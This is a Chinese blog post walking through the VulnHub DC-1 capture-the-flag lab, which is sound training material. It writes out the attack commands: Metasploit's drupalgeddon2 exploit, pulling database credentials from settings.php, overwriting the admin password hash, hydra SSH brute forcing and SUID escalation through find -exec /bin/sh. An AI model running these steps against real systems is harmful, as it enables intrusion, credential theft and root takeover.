freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

vulnhub练习 DC-1复现及分析
2024-02-02 14:32:42

一、搭建环境

1.工具

靶机:DC-1 192.168.200.17

攻击机:kali 192.168.200.13

2.注意

攻击机和靶机的网络连接方式要相同,另外DC-1的网络连接方式我这里采用NAT模式,是与kali的网络连接模式相同的(当然亦可以选用桥接模式)

DC-1网络设计

点击高级后可以查看DC-1的靶机MAC地址,便于扫描IP时识别

1703569888_658a69e08ecac02aa57db.png!small?1703569888724

KALI网络设计

1703569896_658a69e8e97edcedd6dc5.png!small?1703569897084

二、信息收集

根据题意,需要得知靶机DC-1的IP地址、IP地址开放的端口及网站的指纹信息

1.扫描靶机IP地址

收集在某网段上存活的主机方式有很多种,常见的、易记忆的有arp-scan、nmap、netdiscover

arp-scan:arp-scan -l

1703569905_658a69f15254dbe5c5905.png!small?1703569906841

nmap:nmap -sP 192.168.200.0/24 -T4	 

1703569913_658a69f96a0680ffca989.png!small?1703569913932

netdiscover:netdiscover  #较慢可加参数

1703569919_658a69ffe850f2aa795f8.png!small?1703569920217

2.扫描目标IP开放端口

nmap -sV -p- 192.168.200.17 
#-sV  扫描目标主机端口上运行的软件信息
#-p-  扫描全部端口0-65535

1703569928_658a6a083f37cbc389000.png!small?1703569928801

尝试访问http80端口,一般可以直接访问

3.获取指纹信息


利用插件wappalyzer可以知道网站的指纹信息

1703569938_658a6a126df4c12bec4d6.png!small?1703569938851
亦可以利用kali中的自带工具whatqweb工具

whatweb -v 192.168.200.17

1703569947_658a6a1be3ecec71bb62c.png!small?1703569948145

从以上便两种方式都可以看出网站的cms是Drupal 7

世界上有名的CMS 其中就包括Drupal
还有wordpress、 joomla等等

附:然后就可以百度或者谷歌探测此cms包含的漏洞浮现文章,当然亦可以根据扫描出的其他信息寻找浮现文章学习。

1703569958_658a6a26cc682b6a63ab0.png!small?1703569959387

另外,经过测试22端口和111端口都是无法进行访问,网站是做了某些限制的。

4.目录扫描

部分结果

1703569966_658a6a2ebe598dcf67048.png!small?1703569967605

三、漏洞利用

Metasploit利用

先打开kali

msfconsole

1703569976_658a6a383899e9685f298.png!small?1703569976686

查询模块

search drupal

利用2018年的这个漏洞(远程代码执行)

漏洞编号:CVE-2018-7600

Drupal 6,7,8等多个子版本存在远程代码执行漏洞

1703569983_658a6a3f1192c739df2cc.png!small?1703569983746

use exploit/unix/webapp/drupal_drupalgeddon2

查看漏洞参数

show options

Current Setting是需要设置的内容

Required表示设置的要求,yes为必须,no可以设置也可不设置

1703569991_658a6a4708ffa5bd99a12.png!small?1703569991822

那就在RHOST位置设置IP地址(靶机的IP地址)

set RHOSTS 192.168.200.17

再次查询

1703569999_658a6a4f8f56a31e10649.png!small?1703569999904

利用参数exploit开始攻击

exploit

看到如下参数,则说明攻击机kali和靶机DC-1建立连接

Meterpreter session 1 opened (192.168.200.14:4444 -> 192.168.200.17:56719) at 2023-07-18 23:10:24 -0400

1703570008_658a6a58db6864ce1a3cf.png!small?1703570009404

获取shell

shell

当前路径

1703570020_658a6a645be92e957d67d.png!small?1703570020478

执行ls查看当前路径下的文件,可以看到flag1出现

flag1

1703570029_658a6a6dce9fa2aa6631d.png!small?1703570030062

反弹shell

要求攻击机上需要装python环境

python -c 'import pty; pty.spawn("/bin/bash")'

1703570040_658a6a78ebf722e526ac8.png!small?1703570041027

之句话意思是:每个好的CMS都需要一个配置文件,你也一样 说明需要找到配置文件

此CMS的配置文件名叫做settings.php

查询他所在的位置即可

cat sites/default/settings.php

flag2

告知数据库的类型是:mysql

1703570048_658a6a8056ccbcc63afb0.png!small?1703570048939

另外也可以使用:模糊查找的方式

cat `find / -name settings.php`

1703570056_658a6a88dfb835ec11744.png!small?1703570057591

英文的意思大概是:

暴力破解和字典攻击并不是获得访问权限的唯一方法(您将需要访问权限)。您可以使用这些凭据做什么?

大概意思是提权了

连接数据库


用给出的密码和数据名尝试连接数据库爆破

mysql -udbuser -pR0ck3t

连接成功!

1703570066_658a6a92e8c0146c66376.png!small?1703570067566

查询数据库

show databases;

1703570074_658a6a9a09d614f39106a.png!small?1703570074339

利用数据库

use drupaldb;

1703570085_658a6aa529be9a662d0c2.png!small?1703570085373

查询数据表

1703570093_658a6aad57199cca25df2.png!small?1703570093535

查询users表信息

select * from users;

获取账户和密码

1703570101_658a6ab5dc512aed2c7f7.png!small?1703570102285

两个账户信息

密码不是明文,不知道是什么类型

admin $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR

Fred $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg

解决方法:

看到两个用户的密码被加密了,但可以修改密码或新增一个admin权限的用户

方法一:修改admin密码

使用Drupal对数据库的加密方法,生成一个新密码,然后把新的密码更新到admin用户

先找到机密文件,加密脚本位置在/var/www/scripts/password-hash.sh下

/var/www/scripts/password-hash.sh

先退出mysql的命令行,打开加密脚本,可以看到此加密脚本使用php编写的

cat /var/www/scripts/password-hash.sh

1703570113_658a6ac163512d7e82c8d.png!small?1703570113922

用dupal自带脚本生成admin的密码为admin

php /var/www/scripts/password-hash.sh admin
username: admin    hash: $S$Dhk7CjZDCy.ZjoGxxBWmfuzwUiGVZZAqOvNz4Ah0w72GQV5tLj5i

用上图重新users表

update users set pass = "$S$Dhk7CjZDCy.ZjoGxxBWmfuzwUiGVZZAqOvNz4Ah0w72GQV5tLj5i" where name = 'admin' ;
username:admin      hash:$S$Dhk7CjZDCy.ZjoGxxBWmfuzwUiGVZZAqOvNz4Ah0w72GQV5tLj5i

方法二:添加admin权限用户

drupal 7(7.0~7.31)有SQL注入的漏洞(Drupal SQL注入漏洞(CVE-2014-3704)复现),可以添加一个admin权限的用户,然后再在msf找一下这个工具

searchsploit drupal

1703570123_658a6acb007f30df33f9c.png!small?1703570123830

查看脚本文件

searchsploit 34992.py -p

1703570131_658a6ad3f1d0c45a6fda0.png!small?1703570132243

登录账户admin,发现第flag3

flag3

1703570139_658a6adbcb37fb28b06e6.png!small?1703570139970

主要在这两个单词:passwd和shadow,linux下的文件

/etc/passwd

/etc/shadow

cat /etc/passwd

有flag4这个用户,两个方法拿到这个用户的密码,一个是弱口令爆破,另一个提权打开shadow文件查看密码

1703570147_658a6ae3655d7d0510f29.png!small?1703570148380

而另一个是权限不够,当前用户是www-data需要root权限

1703570155_658a6aeb9f7276960c300.png!small?1703570155711

切换目录带到目标文件下flag4.txt,看内容

flag4

第一种方式:

1703570162_658a6af29d48516030869.png!small?1703570163267

提权至root权限,找最后的flag了,使用find命令查找有特殊权限suid的命令:find / -perm -4000

1703570171_658a6afb00ddd9debcab8.png!small?1703570171724

发现flag4,并且flag4是一个用户,flag4用户密码可以使用ssh登录进行爆破

再使用find 命令进行提权:find ./misc -exec "/bin/sh" \;获取root 权限,

1703570180_658a6b042487c9e803207.png!small?1703570180380

第二种方式

wget http://www.openwall.com/john/j/john-1.8.0.tar.gz   #下载John密码包
tar -xvf john-1.8.0.tar.gz  #解压缩
cd john-1.8.0/ src    #进入源码目录下
uname -a  #查看当前系统版本
make linux-x86-64   #编译并指定当前的Linux系统版本

使用hydra+John密码包对flag4的密码进行爆破,爆破密码为:flag4/orange

1703570189_658a6b0d386ecedc4a168.png!small?1703570189384

flag4用户使用ssh登录

ssh flag4@192.168.200.17

1703570195_658a6b13c6d3d96bc705a.png!small?1703570196099

此时发现是flag4用户,而不是root,用上边同样的方法,find命令提权为root。

1703570202_658a6b1ac5e4334a06567.png!small?1703570203009

thefinalflag.txt

在root目录下发现最后的flag

1703570211_658a6b23e5b3438cc9f5e.png!small?1703570212288

五、总结

1.扫描局域网主机

arp-scan -l

netdiscover用法

map -sP x.x.x.x

2.开放端口扫描

nmap -sV -p- x.x.x.x

2.MSF使用

3.hydra爆破:sudo hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.0.100

hydra+John密码包

以上两种方式可以爆出flag4的密码

4.suid提权:Linux下用SUID提权、find命令exec

文章参考:

https://blog.csdn.net/l2872253606/article/details/125463013

https://blog.csdn.net/prettyX/article/details/103267130

# 渗透测试 # 网络安全 # web安全 # 内网渗透 # 漏洞分析
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录